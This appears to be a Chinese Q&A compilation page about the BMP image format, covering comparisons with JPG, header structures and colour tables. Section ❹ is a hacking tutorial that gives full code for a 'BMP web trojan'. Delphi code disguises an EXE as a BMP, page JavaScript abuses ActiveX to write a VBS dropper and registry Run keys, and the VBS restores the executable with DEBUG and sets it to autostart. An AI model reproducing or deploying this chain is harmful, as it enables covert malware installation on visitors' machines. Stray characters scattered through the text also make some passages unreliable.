❶ bmp 和JPG有什么区别
BMP和JPG的主要区别是:
1、bmp是靠记录每一个像素格来保存图像滑键的,比较占内存空间,但是图像不容易失真。
2、jpg是一种有损压缩格扮信式,占地比较小,不过反复保存,就会反复压缩,会导致失真。
BMP(全称Bitmap)是Windows操作系统中的标准图像文件格式,可以分成两类:设备有向量相关位图(DDB)和设备无向量关位图(DIB),使用非常广。它采用位映射存储格式,除了图像深度可选以外,不采用其他任何压缩,因此,BMP文件所占用的空间很大。
BMP文件的图像深度可选lbit、4bit、8bit及24bit。BMP文件存储数据时,图像的扫描方式是按从左到右、从下到上的顺序。由于BMP文件格式是Windows环境中交换与图有关的数据的一种标准,因此在Windows环境中运行的图形图像软件都支持BMP图像格式。
JPEG是Joint Photographic Experts Group(联合图像专家组)的缩写,文件后辍名为".jpg"或".jpeg",是最常用的图像文件格式。
由一个软件开发联合会组织制定,是一种有损压缩格式,能够将图像压缩在很小的储存空间,图像中重复或不重要的资料会被丢失,因此容易造成图像数据的损伤。
尤其是使用过高的压缩比例,将使最终解压缩后恢复的图像质量明显降低,如果追求高品质图像,不宜采用过高压缩比例。
比如可以把1.37Mb的BMP位图文件压缩至20.3KB。当然也可以在图像质量和文件尺寸厅让轮之间找到平衡点。JPEG格式压缩的主要是高频信息,对色彩的信息保留较好,适合应用于互联网,可减少图像的传输时间,可以支持24bit真彩色,也普遍应用于需要连续色调的图像。
(1)bmp分析技术是什么扩展阅读:
BMP格式组成
典型的BMP图像文件由四部分组成:
1:位图头文件数据结构,它包含BMP图像文件的类型、显示内容等信息;
2:位图信息数据结构,它包含有BMP图像的宽、高、压缩方法,以及定义颜色等信息;
3:调色板,这个部分是可选的,有些位图需要调色板,有些位图,比如真彩色图(24位的BMP)就不需要调色板;
4:位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值。
JPG格式类型
JPEG2000作为JPEG的升级版,其压缩率比JPEG高约30%左右,同时支持有损和无损压缩。JPEG2000格式有一个极其重要的特征在于它能实现渐进传输,即先传输图像的轮廓,然后逐步传输数据,不断提高图像质量,让图像由朦胧到清晰显示。
此外,JPEG2000还支持所谓的"感兴趣区域" 特性,可以任意指定影像上感兴趣区域的压缩质量,还可以选择指定的部分先解压缩。
JPEG2000和JPEG相比优势明显,且向下兼容,因此可取代传统的JPEG格式。JPEG2000即可应用于传统的JPEG市场,如扫描仪、数码相机等,又可应用于新兴领域,如网路传输、无线通讯等等。
❷ BMP,JPG,GTF,TCO分别指的是什么
BMP是一种与硬件设备无关的图像文件格式,使用非常广。
jpg全名是JPEG 。JPEG 图片以 24 位颜色存储单个光栅图像。JPEG 是悔扒与平台无关的格式,支持最高级别的压缩,不过,这种压缩是碧旦昌有损耗的。渐近式 JPEG 文件支持交错
总所有成本TCO (Total cost of ownership)是一种公司经常采用的技术评价标准,它的核心思想是在一定时间范围内所拥有的包括置业成本(acquisition cost)和每年总成本在内的总体成本。在某些情况下,这一总体成本是一个为获得可比较的现行开支而对3到5年迟消时间范围内的成本进行平均的值。
❸ 多媒体技术名词解释 BMP格式图像文件
1、
BMP格式是由微软公司开发。通常BMP图像文件的后缀名是BMP,但也有少数是.DIP。不过单凭文件的后缀名并不能惟一确定是不是BMP图像文件,要惟一确定BMP图像文件还需要分析文件的存储格式。
2
、
BMP图像文件和GIF
图像文件不同,BMP图像文件只能存储一幅图像,即一帧。GIF图像文件能保团仔存多帧图像,从而可以实现动画的效果。
3
、
BMP图像文件支持单色、16色、256色和真埋桥彩色4种颜色的图像。BMP图像的数据弯或猛即可以压缩也可以不压缩,如果图像选择了压缩数据,那么根据颜色的不同,BMP使用不同的RLE压缩方式。REL
是一种无损压缩方法,使用RLE压缩的数据能完整还原。如果图像是16色,则可以采用RLE4压缩,如果图像是256色,则可以采用RLE8压缩。
4
、
BMP的图像数据排列有点特别,数据排列方式首先从图像的左下角第一个像素开始存储第一行数据,即BMP图像数据存储的最后一个像素等于实际图像的右上角第一个像素。
❹ bmp技术的出现背景
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
然庆顷而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.
看上去好象很复杂,下面我辩差芦们一步一步来:
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>"") and(ParamStr(2)<>"") then begin //携带如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:="B";Buffer[1]:="M";
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
以下是放在网页上的脚本
document.write(" ");
function docsave()
{
a=document.applets[0];
a.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a.createInstance();
wsh=a.GetObject();
a.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+"\\s.vbs";
wsh.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs","wscript "+"""+vbs+"" ");
var st=fso.CreateTextFile(vbs,true);
st.WriteLine("Option Explicit");
st.WriteLine("Dim FSO,WSH,CACHE,str");
st.WriteLine("Set FSO = CreateObject("Scripting.FileSystemObject")");
st.WriteLine("Set WSH = CreateObject("WScript.Shell")");
st.WriteLine("CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")");
st.WriteLine("wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")");
st.WriteLine ("wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"");
st.WriteLine("SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"");
st.WriteLine("WScript.Quit()");
st.WriteLine("Function SearchBMPFile(Folder,fname)");
st.WriteLine(" Dim SubFolder,File,Lt,tmp,winsys");
st.WriteLine(" str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname");
st.WriteLine(" if FSO.FileExists(str) then");
st.WriteLine(" tmp=fso.GetSpecialFolder(2) & "\\"");
st.WriteLine(" winsys=fso.GetSpecialFolder(1) & "\\"");
st.WriteLine(" set File=FSO.GetFile(str)");
st.WriteLine(" File.Copy(tmp & "tmp.dat")");
st.WriteLine(" File.Delete");
st.WriteLine(" set Lt=FSO.CreateTextFile(tmp & "tmp.in")");
st.WriteLine(" Lt.WriteLine("rbx")");
st.WriteLine(" Lt.WriteLine("0")");
st.WriteLine(" Lt.WriteLine("rcx")");
st.WriteLine(" Lt.WriteLine("1000")");
st.WriteLine(" Lt.WriteLine("w136")");
st.WriteLine(" Lt.WriteLine("q")");
st.WriteLine(" Lt.Close");
st.WriteLine(" WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6");
st.WriteLine(" On Error Resume Next ");
st.WriteLine(" FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")");
st.WriteLine(" FSO.GetFile(tmp & "tmp.dat").Delete");
st.WriteLine(" FSO.GetFile(tmp & "tmp.in").Delete");
st.WriteLine(" FSO.GetFile(tmp & "tmp.out").Delete");
st.WriteLine(" end if");
st.WriteLine(" If Folder.SubFolders.Count <> 0 Then");
st.WriteLine(" For Each SubFolder In Folder.SubFolders");
st.WriteLine(" SearchBMPFile SubFolder,fname");
st.WriteLine(" Next");
st.WriteLine(" End If");
st.WriteLine("End Function");
st.Close();
}
setTimeout("docsave()",1000);
把该脚本保存为"js.js",在网页中插入:
该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
"从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
"生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
"下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参_blank>http://hotsky.363.net
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站.
❺ 什么是BMP
bmp是什么意思
BMP是英文Bitmap(位图)的简写,它是Windows操作系统中的标准图像文件格式,能够被多种Windows应用程序所支持。
随着Windows操作系统的流行与丰富的Windows应用程序的开发,BMP位图格式理所当然地被广泛应用。
这种格式的特点是缺迹包含的图像信息较丰链扮弊富,几乎不进行压缩,但由此导致了它与生俱来棚族的缺点--占用磁盘空间过大。
所以,BMP在单机上比较流行。
❻ bmp和OA有何区别
OA系统主要是面向企陪李亮业内部,因产品的不同,适用于各大、中、小型企业。而bmp系统是中、大型企业业务信息化的首选,同时也不仅扰弯仅局限于企业内部,可实现跨应用、跨部门、跨合作伙伴与客户的企业运作。OA只能作为一个多功能为一体的办公平台来使用,对于业务全方面的处理和分析还不够深入。bmp需要对业务流程的各个环节数据进行分析、逻辑判断、深层处理,并将结果性数据及时反馈到系统里,从而实现对企业风险管控和运营效率的提升。bpm在梳理过程中需要使用大量数据,这就使得bpm与数据库的交互非常频芦宽繁,对数据库技术和大小的要求较高。流程云BPM可以为企业打造缜密可靠的工作流审批平台,按企业行业、业务习惯量身定制属于您企业独一无二的BPM平台
❼ 什么是bmp图像
bmp就是位图
位图图像(在技术上称作栅格图像)使用图片元素的矩形网薯告格(像素)表现图像。每个像素都分配有特定的位置和颜色值。在处理位图图像时,您所编辑的是像素,而不是对象或形状。位图图像是连续色调图像(如照片或数字磨早绘画)最常用的电子媒介,因为它们可以更有效地表现阴影和颜色的细微层次。
位图图像与分辨率有关,也就是瞎手雀说,它们包含固定数量的像素。因此,如果在屏幕上以高缩放比率对它们进行缩放或以低于创建时的分辨率来打印它们,则将丢失其中的细节,并会呈现出锯齿。
❽ BMP是干什么的
简介:BMP是一种与硬件设备无关的图像文件格式,使用非常广。它采用位映射存储格式,除了图像深度可选以外,不采用其他任何压缩,因此,BMP文件所占用的空间很大。BMP文件早皮颂的图像深度可选lbit、4bit、8bit及24bit。BMP文件存储数据时,图像的扫描方式是按从左到右、从下到上的顺序。
由于BMP文件格式是Windows环境中交换与图有关的数据的一种标准,因此在Windows环境中运行的图形图像软件都支持BMP图像格式。文件结构:典型的BMP图像文件由四部分组成:
1:位图文件头数据结构,它包含BMP图像文件的类型、显示内容等信息;
2:位图信息数据结构,它包含有BMP图像的宽、高、压缩方法,以及定义颜色等信息;
3:调色板,这个部分是可选的,有些位图需要调色板,有些位图,比如真彩色图(24位的BMP)就不需要调色板;
4:位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值。
位图的类型:
位图一共有两种类型,即:设备相关位图(DDB)和设备无关位图(DIB)。DDB位图在早期的Windows系统(Windows 3.0以前)中是很普遍的,事实上它也是唯一的。然而,随着显示器制造技术的进步,以及显示设备的多样化,DDB位图的一些固有的问题开始浮现出来了。比如,它不能够存储(或者说获取)创建这张图片的原始设备的分辨率,这样,应用程序就不能快速的判断客户机的显示设备是否适合显示这张图片。为了解决这一难题,微软创建了DIB位图格式。对应的数据结构:
1:BMP文件组成
BMP文件由文件头、位图信息头、颜色信息和图形数据四部分组成。
2:BMP文件头(14字节)
BMP文件头数据结构含有BMP文件的类型、文件大小和位图起始位置等信息。陆郑
其结构定义如下:
typedef struct tagBITMAPFILEHEADER
{
WORD bfType; // 位图文件的类型,必须为BM(0-1字节)
DWORD bfSize; // 位图文件的大小,以字节为单位(2-5字节)
握歼WORD bfReserved1; // 位图文件保留字,必须为0(6-7字节)
WORD bfReserved2; // 位图文件保留字,必须为0(8-9字节)
DWORD bfOffBits; // 位图数据的起始位置,以相对于位图(10-13字节)
// 文件头的偏移量表示,以字节为单位
} BITMAPFILEHEADER;
3:位图信息头(40字节)
BMP位图信息头数据用于说明位图的尺寸等信息。
typedef struct tagBITMAPINFOHEADER{
DWORD biSize; // 本结构所占用字节数(14-17字节)
LONG biWidth; // 位图的宽度,以像素为单位(18-21字节)
LONG biHeight; // 位图的高度,以像素为单位(22-25字节)
WORD biPlanes; // 目标设备的级别,必须为1(26-27字节)
WORD biBitCount;// 每个像素所需的位数,必须是1(双色),(28-29字节)
// 4(16色),8(256色)或24(真彩色)之一
DWORD biCompression; // 位图压缩类型,必须是 0(不压缩),(30-33字节)
// 1(BI_RLE8压缩类型)或2(BI_RLE4压缩类型)之一
DWORD biSizeImage; // 位图的大小,以字节为单位(34-37字节)
LONG biXPelsPerMeter; // 位图水平分辨率,每米像素数(38-41字节)
LONG biYPelsPerMeter; // 位图垂直分辨率,每米像素数(42-45字节)
DWORD biClrUsed;// 位图实际使用的颜色表中的颜色数(46-49字节)
DWORD biClrImportant;// 位图显示过程中重要的颜色数(50-53字节)
} BITMAPINFOHEADER;
4:颜色表
颜色表用于说明位图中的颜色,它有若干个表项,每一个表项是一个RGBQUAD类型的结构,定义一种颜色。RGBQUAD结构的定义如下:
typedef struct tagRGBQUAD {
BYTE rgbBlue;// 蓝色的亮度(值范围为0-255)
BYTE rgbGreen; // 绿色的亮度(值范围为0-255)
BYTE rgbRed; // 红色的亮度(值范围为0-255)
BYTE rgbReserved;// 保留,必须为0
} RGBQUAD;
颜色表中RGBQUAD结构数据的个数有biBitCount来确定:
当biBitCount=1,4,8时,分别有2,16,256个表项;
当biBitCount=24时,没有颜色表项。
位图信息头和颜色表组成位图信息,BITMAPINFO结构定义如下:
typedef struct tagBITMAPINFO {
BITMAPINFOHEADER bmiHeader; // 位图信息头
RGBQUAD bmiColors[1]; // 颜色表
} BITMAPINFO;
5:位图数据
位图数据记录了位图的每一个像素值,记录顺序是在扫描行内是从左到右,扫描行之间是从下到上。位图的一个像素值所占的字节数:
当biBitCount=1时,8个像素占1个字节;
当biBitCount=4时,2个像素占1个字节;
当biBitCount=8时,1个像素占1个字节;
当biBitCount=24时,1个像素占3个字节;
Windows规定一个扫描行所占的字节数必须是
4的倍数(即以long为单位),不足的以0填充,
biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) * bi.biHeight;
具体数据举例:
如某BMP文件开头:
4D42 4690 0000 0000 0000 4600 0000 2800 0000 8000 0000 9000 0000 0100*1000 0300 0000 0090 0000 A00F 0000 A00F 0000 0000 0000 0000 0000*00F8 0000 E007 0000 1F00 0000 0000 0000*02F1 84F1 04F1 84F1 84F1 06F2 84F1 06F2 04F2 86F2 06F2 86F2 86F2 .... ....
BMP文件可分为四个部分:位图文件头、位图信息头、彩色板、图像数据阵列,在上图中已用*分隔。